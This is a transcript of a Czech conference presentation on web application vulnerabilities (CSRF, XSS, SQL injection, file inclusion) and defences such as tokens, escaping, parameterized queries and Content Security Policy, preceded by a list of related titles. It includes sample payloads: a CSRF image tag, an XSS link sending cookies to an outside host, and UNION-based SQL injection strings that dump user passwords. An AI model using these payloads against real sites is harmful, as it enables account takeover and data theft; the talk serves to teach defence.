Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz



Podobné dokumenty
Testování webových aplikací Seznam.cz

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

Content Security Policy

Cross-Site Scripting (XSS)

SQL injection jak ji možná neznáte Roman Kümmel

Informační systémy 2008/2009. Radim Farana. Obsah. Aktivní serverové stránky ASP. Active Server Pages. Activex Data Objects. LDAP database.

Zabezpečení web aplikací

Obsah přednášky. Představení webu ASP.NET frameworky Relační databáze Objektově-relační mapování Entity framework

Cross- Site Request Forgery

Dell SonicWALL. Security tips & tricks. Jan Ježek business communication s.r.o.

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Maturitní témata z předmětu PROGRAMOVÉ VYBAVENÍ pro šk. rok 2012/2013

2.přednáška. Informační bezpečnost: Systém řízení informační bezpečnosti (ISMS)

Vývoj Internetových Aplikací

Nejčastější zranitelnosti webových aplikací. Pavel Bašta

Koláčky, sezení. Martin Klíma

Formuláře. Internetové publikování

Bezpečnost a bezpečné programování

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

Univerzita Pardubice Fakulta elektrotechniky a informatiky. WWW aplikace s využitím relační databáze pro správu sportovního centra Michal Nosil

Efektivní řízení rizik

VÝVOJ INTERNETOVÝCH APLIKACÍ - VIA

Pavel Kaňkovský, DCIT Consulting. SOFTECON

12. Základy HTML a formuláře v HTML

Počítačové sítě II. 18. World Wide Web, HTTP Miroslav Spousta,

Bezpečnost webových aplikací

Jaku b Su ch ý 1

HTTP hlavičky pro bezpečnější web

OBSAH. Předmluva 13 Poděkování Přehled dnešního vývoje webů Design pro minulost, přítomnost i budoucnost 33

Malý průvodce Internetem

Efektivní řízení rizik webových a portálových aplikací

INFORMAČNÍ SYSTÉMY NA WEBU

INTERNET. Vypracoval: Mgr. Marek Nývlt

Vývoj internetových aplikací. 9. Útoky na internetové aplikace. a možná obrana proti nim

Bezpečnost webových aplikací v ASP.NET

Zabezpečení platformy SOA. Michal Opatřil Corinex Group

Identifikátor materiálu: ICT-3-55

Úvod do aplikací internetu a přehled možností při tvorbě webu

5/3.3 BEZPEČNOSTNÍ ASPEKTY JAZYKA PHP

Šifrování Autentizace Bezpečnostní slabiny. Bezpečnost. Lenka Kosková Třísková, NTI TUL. 22. března 2013

Část 1 Moderní JavaScript

HTTP protokol. HTTP protokol - úvod. Zpracoval : Petr Novotný novotny0@students.zcu.cz

Univerzita Pardubice. Centrální správa dokumentů

Řešení ochrany databázových dat

Vývojařská Plzeň AngularJS

Webové služby a XML. Obsah přednášky. Co jsou to webové služby. Co jsou to webové služby. Webové služby a XML

Zásady pro udělování a užívání značky Kraj Vysočina DOPORUČUJE PRO BEZPEČNÝ INTERNET verze červen 2012

Minebot manuál (v 1.2)

Úvod do tvorby internetových aplikací

Tvorba WWW stránek. přehled technologií používaných na webu principy jednotlivých technologií a možnosti jejich vzájemného kombinování

Název: VY_32_INOVACE_PG4102 Základní HTML značky. Autor: Mgr. Tomáš Javorský. Datum vytvoření: 05 / Ročník: 3

Integrovaný agent obchodníka elektronického obchodu (IMA) Příručka správce

Demilitarizovaná zóna (DMZ)

Střední odborná škola a Střední odborné učiliště, Hořovice

ÚROVEŇ BEZPEČNOSTI INTERNETOVÝCH APLIKACÍ V ČESKÉ REPUBLICE SECURITY OF INTERNET APPLICATIONS IN THE CZECH REPUBLIC. Petr Zelenka

Individuální projekt z předmětu webových stránek Anketa Jan Livora

UNIVERZITA PARDUBICE. Fakulta elektrotechniky a informatiky. Informační systém realitní kanceláře Jan Šimůnek

SUM U3 SUM U4 SUM U5 SUM


PROJEKT ININ, 1 ČÁST 1 ORACLE APEX. Martin Šimeček (kruh 258), prosinec 08

Tvorba jednoduchých WWW stránek. VŠB - Technická univerzita Ostrava Katedra informatiky

DJ2 rekurze v SQL. slajdy k přednášce NDBI001. Jaroslav Pokorný

Informační systémy ve zdravotnictví. 8. cvičení

Web Application Security aneb další. rozměr hackingu. XanthiX Soom session IV

1. Úvod do webových aplikací

rychlý vývoj webových aplikací nezávislých na platformě Jiří Kosek

Kurz je rozdělen do čtyř bloků, které je možné absolvovat i samostatně. Podmínkou pro vstup do kurzu je znalost problematiky kurzů předešlých.

C6 Bezpečnost dat v Internetu. 2. HTTP komunikace 3. HTTPS komunikace 4. Statistiky

SAML a XACML jako nová cesta pro Identity management. SAML and XACML as a New Way of Identity Management

KIV/PIA 2013 Jan Tichava

Západočeská univerzita v Plzni Fakulta aplikovaných věd Katedra informatiky a výpočetní techniky. v EEG/ERP portálu

Tlačítkem Poskládej jiný počítač se hra vrátí na úvodní obrazovku a lze zvolit jiný obrázek.

(X)HTML. Internetové publikování

Úvod do databázových systémů

Snadný vývoj webových aplikací s Nette. Lukáš Jelínek

Internet cvičení. ZS 2009/10, Cvičení 4., PHP. Tomáš Pop. DISTRIBUTED SYSTEMS RESEARCH GROUP

Formuláře. Aby nám mohli uživatelé něco hezného napsat třeba co si o nás myslí!

Rodina protokolů TCP/IP, verze 2.3. Část 10: World Wide Web

Grafické rozhraní pro práci s formuláři přes internet Graphic interface for working with forms placed on Internet. Bc.

Internet WEB stránky HTML, Hypertext MarkUp Language - nadtextový jazyk - Místo příkazů obsahuje tagy - značky

Zabezpečení webové vrstvy a EJB projektu Část nastavení specifická pro Glassfish, část dána Java EE

SQL injection princip a ochrana

Zobrazování dat pomocí tabulek

Univerzita Pardubice. Fakulta elektrotechniky a informatiky

POLOPROVOZ ZNALOSTNÍ DATABÁZE INTERPI DOKUMENTACE

WWW technologie. HTTP protokol

Pánem World Wide Webu! aneb povídání o chybě hloupé tak, až to bolí

VYSOKÁ ŠKOLA POLYTECHNICKÁ JIHLAVA. Katedra elektrotechniky a informatiky. Obor Počítačové systémy

VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ

Bezpečnost webových aplikací

WEB_SECURITY. David Sýkora. Phishing. Cryptography issues. Well known exploits. Bad configuration. Broken Auth. Injection CSRF.

Analýza síťového provozu. Ing. Dominik Breitenbacher Mgr. Radim Janča

Specifikace vzdělávacích aktivit projektu Další vzdělávání zaměstnanců Insia a.s.

AJAX. Dynamické změny obsahu stránek

Návrh a tvorba WWW stránek 1/14. PHP a databáze

Úvod do databázových systémů

MODERNÍ WEB SNADNO A RYCHLE

BankKlient. FAQs. verze 9.50

1. Vyhlašovatel. 2. Vymezení pojmů. mojeid pravidla motivačního programu pro poskytovatele služeb

Nový Node Monitor. 13. prosince Lukáš Turek Praha12.Net

Transkript:

Zranitelnosti webových aplikací Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

Terminologie Zranitelnost (vulnerability) Slabina, která umožní utočníkovi snížit/obejít ochranu dat a informací Security bug je užší vnímání zranitelnosti; existují non-sw zranitelnosti (HW, zaměstnanci, ) Exploit V informatice program nebo sekvence příkazů, které využívají zranitelnosti a umožňují tak získat nějaký prospěch

Webové zranitelnosti XSS Cross-site scripting Využití důvěry uživatele v server CSRF Cross-site request forgery Využití důvěry serveru v software uživatele

Webové zranitelnosti HTTP header injection Využití vlastností HTTP protokolu v kombinaci s neošetřeným předávaným vstupem od uživatele v hlavičkách SQL injection Využití mezery v zabezpečení na úrovni databázové vrstvy aplikace

Svět webových zranitelností Proměnná CSS Flash CRLF RFI LFI SQLi FPD SQL injection CSRF XSS HTTP injection Same origin policy IE XSS filter NOSCRIPT Persistent Non- Persistent DOM based HTTP only cookies Content security policy

Praktická ukázka Roman Kümmel http://www.soom.cz

Praktická ukázka Zranitelná webová aplikace

Cross Site Request Forgery (CSRF) Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem Každý uživatel je na serveru identifikován Každý uživatel může provádět změny pouze ve svém vlastním účtu http://webmail.cz/remail.php?mail=user@seznam.cz

Cross Site Request Forgery (CSRF) Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka Cílem útočníka je přimět uživatele k jeho odeslání http://webmail.cz/remail.php?mail=atacker@hack.cz

Útok (CSRF) Nazdar Pepo, nechceš zítra zajít na pivo? Lojza <img src= http://webmail.cz/remail.php?mail=atacker@hack.cz > http://webmail.cz/remail.php?mail=atacker@hack.cz

Útok (CSRF) X

Obrana (CSRF) Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem Každý uživatel je na serveru identifikován Každý uživatel může provádět změny pouze ve svém vlastním účtu hash=a5dd78e remail.php?mail=user@seznam.cz&hash=a5dd78e

CSRF : XSS Zjištění hodnoty lístku pomocí XSS

Cross Site Scripting (XSS) Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy ) Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény Perzistentní (trvalé) Non-perzistentní (reflektované)

Non-perzistetní XSS Odeslání požadavku webovým vyhledávačem http://webmail.cz/search.php?query=slunce Odpověď vrácená prohlížečem Na váš dotaz slunce nebyl nalezen žádný výsledek

Non-perzistetní XSS Odeslání požadavku webovým vyhledávačem http://webmail.cz/search.php?query=<script>alert(1)</script> Zobrazení odpovědi vede ke spuštění skriptu Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek

Možné cíle útoku (XSS) Krádež cookies Přesměrování uživatelů na jiné webové stránky Defacement webové stránky Automatické odesílání CSRF požadavků Změna atributu action u přihlašovacích formulářů Odposlouchávání stisknutých kláves Průzkum vnitřní sítě Backdoor s obousměrnou komunikací Mnoho dalších variant útoku

Cookie stealing (XSS) Nazdar Pepo, nechceš zítra zajít na pivo? Lojza <a href= http://webmail.cz/search.php?query=%3cscript%3ei%3d document.createelement%28%22img%22%29%3b+i.src%3d%22 http%3a%2f%2fmyserver.cz%3fsavecook%3d%22%252b document.cookie%3b%3c%2fscript%3e >Super odkaz</a> <script> i=document.createelement("img"); i.src=http://myserver.cz?savecook=+document.cookie; </script>

Cookie stealing (XSS)

Obrana (XSS) Nahrazení nebezpečných znaků HTML entitami < &lg; > > " &#39; & & Nebezpečnost znaků záleží na kontextu v jakém jsou použity - <p>toto je tvůj vstup: <script>alert(1)</script></p> - <input type= text value= onfocus= alert(1) > Pozor na Javascript: a Data: URL v odkazech - <a href= javascript:alert(1) >odkaz</a>

Obrana (XSS) Uživatelský vstup kontrolovat podle bílých seznamů Co není povoleno, je zakázáno!

SQL injection Zmanipulování dotazu do databáze SELECT jablka FROM strom SELECT hrušky FROM obchod

SQL injection pepa pass123 PHP $sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')"; $res = mysql_query($sql); SQL SELECT * FROM users WHERE (login = 'pepa') and (heslo = 'pass123')

Útok SQL injection ' OR '1' = '1 pepa PHP $sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')"; $res = mysql_query($sql); SQL SELECT * FROM users WHERE (login = 'pepa') and (heslo = '' OR '1' = '1')

SQL injection PHP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser"; $res = mysql_query($sql); SQL SELECT * FROM messages WHERE idprijemce = 11614

Útok SQL injection PHP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser"; $res = mysql_query($sql); SQL SELECT * FROM messages WHERE idprijemce = -1 or 1=1

Útok SQL injection Zjištění počtu sloupců tabulky v původním dotazu Zjištění zobrazených polí iduser=-1 union all select 1,2,3,4 Zjištění názvu databáze iduser=-1 union all select 1,2,3,database() SELECT * FROM messages WHERE idprijemce = -1 order by 1 -- Zjištění názvů tabulek a sloupců iduser=-1 union all select 1,2,table_name,column_name from information_schema.columns where table_schema=database() Výpis obsahu tabulky USERS iduser=-1 union all select 1,nick,login,heslo from users--

Obrana proti SQL injection Kontrola vstupu Odstranění, zdvojení nebo escapování apostrofů Číselné hodnoty ošetřit typovou konverzí Výčtové vstupy kontrolovat na očekávané hodnoty Využití parametrizovaných SQL dotazů Využití uložených procedur

Injektáž skriptu na server Nezabezpečený upload Local File Inclusion (LFI) Remote File Inclusion (RFI)

(ne) bezpečný Internet

Pomocníci v zabezpečení Content Security Policy Same origin policy XSS filter v IE HTTPonly cookies

Content security policy Pravidla zaměřená na potlačení především XSS CSP umožňuje poskytovatelům definovat pravidla, kterými se prohlížeč řídí Pravidla se pro dokument v HTTP hlavičkách Možnost reportingu při porušení pravidel Browser bonzuje pomocí JSON, co se stalo Report-only mode (what-if scénáře) X-Content-Security-Policy: allow 'self'; img-src *; \ object-src media1.com media2.com *.cdn.com; \ script-src trustedscripts.example.com

Same origin policy Koncept známý od doby Netscape Navigator 2.0 Pravidla povolují plný přístupu skriptů k funkcím a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů) Jiný hostname (i www.seznam.cz vs seznam.cz) Jiný port (http://lide.cz vs http://lide.cz:81) Jiný protokol (https://email.cz vs https://email.cz) Nejasně definované pro file:, data:, Jiné policy např. pro skripty z jiných domén

IE XSS filter Vlastnost IE8, která ztěžuje tzv. reflected XSS Filtr je komponenta, která je zapojena do všech požadavků, které tečou skrze prohlížeč Snaží se detekovat XSS a případně neutralizovat

HTTPonly cookie Stále ve stádiu draftu IETF, nicméně široce podporované v prohlížečích Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session Často použita v kombinaci s omezením přenášení po zabezpečeném spojení Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Path=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly

Děkujeme za pozornost Vlastimil Pečínka Vlastimil.Pecinka@firma.seznam.cz Roman Kümmel ccuminn@soom.cz